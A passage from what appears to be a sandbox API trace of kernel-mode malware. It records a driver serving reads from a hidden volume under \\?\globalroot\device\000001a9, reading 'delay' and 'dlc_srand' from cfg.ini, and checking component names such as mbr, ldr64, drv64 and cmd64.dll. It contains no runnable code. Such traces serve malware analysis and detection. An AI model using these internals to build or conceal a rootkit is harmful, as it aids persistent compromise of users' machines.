ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.982] KeLeaveCriticalRegion () [0123.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.982] KeEnterCriticalRegion () [0123.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.982] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.983] IdePortDispatch () returned 0x103 [0123.983] KeWaitForMutexObject () returned 0x0 [0123.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.983] KeLeaveCriticalRegion () [0123.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.983] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.983] KeEnterCriticalRegion () [0123.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c1000 [0123.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.983] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.983] IdePortDispatch () returned 0x103 [0123.983] KeWaitForMutexObject () returned 0x0 [0123.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.983] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.983] IdePortDispatch () returned 0x103 [0123.984] KeWaitForMutexObject () returned 0x0 [0123.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.984] KeLeaveCriticalRegion () [0123.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.984] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.984] KeEnterCriticalRegion () [0123.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.984] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.984] KeLeaveCriticalRegion () [0123.984] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.984] KeEnterCriticalRegion () [0123.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.985] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.985] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be24c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.985] KeLeaveCriticalRegion () [0123.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.985] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.985] KeEnterCriticalRegion () [0123.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.985] ExFreePoolWithTag (P=0xfffffa8003bed240, Tag=0x0) [0123.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.985] KeLeaveCriticalRegion () [0123.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.985] ReleaseMutex (hMutex=0xf0) returned 1 [0123.985] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.985] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.985] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.985] KeEnterCriticalRegion () [0123.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.985] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.985] IdePortDispatch () returned 0x103 [0123.985] KeWaitForMutexObject () returned 0x0 [0123.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.985] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.985] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.985] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.985] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.985] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8610 [0123.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.985] KeLeaveCriticalRegion () [0123.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.986] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.986] KeEnterCriticalRegion () [0123.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.986] KeLeaveCriticalRegion () [0123.986] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.986] KeEnterCriticalRegion () [0123.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.986] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.986] IdePortDispatch () returned 0x103 [0123.986] KeWaitForMutexObject () returned 0x0 [0123.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.986] KeLeaveCriticalRegion () [0123.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.986] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.986] KeEnterCriticalRegion () [0123.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c2000 [0123.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.986] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.986] IdePortDispatch () returned 0x103 [0123.987] KeWaitForMutexObject () returned 0x0 [0123.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.987] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.987] IdePortDispatch () returned 0x103 [0123.987] KeWaitForMutexObject () returned 0x0 [0123.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.987] KeLeaveCriticalRegion () [0123.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.988] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.988] KeEnterCriticalRegion () [0123.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.988] KeLeaveCriticalRegion () [0123.988] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.988] KeEnterCriticalRegion () [0123.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.988] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.988] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.988] KeLeaveCriticalRegion () [0123.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.988] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.988] KeEnterCriticalRegion () [0123.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.988] ExFreePoolWithTag (P=0xfffffa8003be8610, Tag=0x0) [0123.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.988] KeLeaveCriticalRegion () [0123.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.988] ReleaseMutex (hMutex=0xf0) returned 1 [0123.988] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.988] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.989] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.989] KeEnterCriticalRegion () [0123.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.989] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.989] IdePortDispatch () returned 0x103 [0123.989] KeWaitForMutexObject () returned 0x0 [0123.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.989] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.989] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.989] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.989] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.989] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee970 [0123.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.989] KeLeaveCriticalRegion () [0123.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.989] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.989] KeEnterCriticalRegion () [0123.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.989] KeLeaveCriticalRegion () [0123.989] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.989] KeEnterCriticalRegion () [0123.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.989] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.989] IdePortDispatch () returned 0x103 [0123.990] KeWaitForMutexObject () returned 0x0 [0123.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.990] KeLeaveCriticalRegion () [0123.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.990] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.990] KeEnterCriticalRegion () [0123.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c3000 [0123.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.990] IdePortDispatch () returned 0x103 [0123.990] KeWaitForMutexObject () returned 0x0 [0123.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.990] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.990] IdePortDispatch () returned 0x103 [0123.990] KeWaitForMutexObject () returned 0x0 [0123.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.991] KeLeaveCriticalRegion () [0123.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.991] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.991] KeEnterCriticalRegion () [0123.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.991] KeLeaveCriticalRegion () [0123.991] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.991] KeEnterCriticalRegion () [0123.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.991] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.991] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.992] KeLeaveCriticalRegion () [0123.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.992] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.992] KeEnterCriticalRegion () [0123.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.992] ExFreePoolWithTag (P=0xfffffa8003bee970, Tag=0x0) [0123.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.992] KeLeaveCriticalRegion () [0123.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.992] ReleaseMutex (hMutex=0xf0) returned 1 [0123.992] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.992] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.992] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.992] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.992] KeEnterCriticalRegion () [0123.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.992] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.992] IdePortDispatch () returned 0x103 [0123.992] KeWaitForMutexObject () returned 0x0 [0123.992] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.992] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.992] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.992] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.992] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.992] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.992] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.992] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.992] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.992] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.993] KeLeaveCriticalRegion () [0123.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.993] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.993] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.993] KeEnterCriticalRegion () [0123.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.993] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.993] IdePortDispatch () returned 0x103 [0123.993] KeWaitForMutexObject () returned 0x0 [0123.993] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.993] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.993] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.993] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.993] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.993] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.993] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.993] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.993] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.993] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.993] 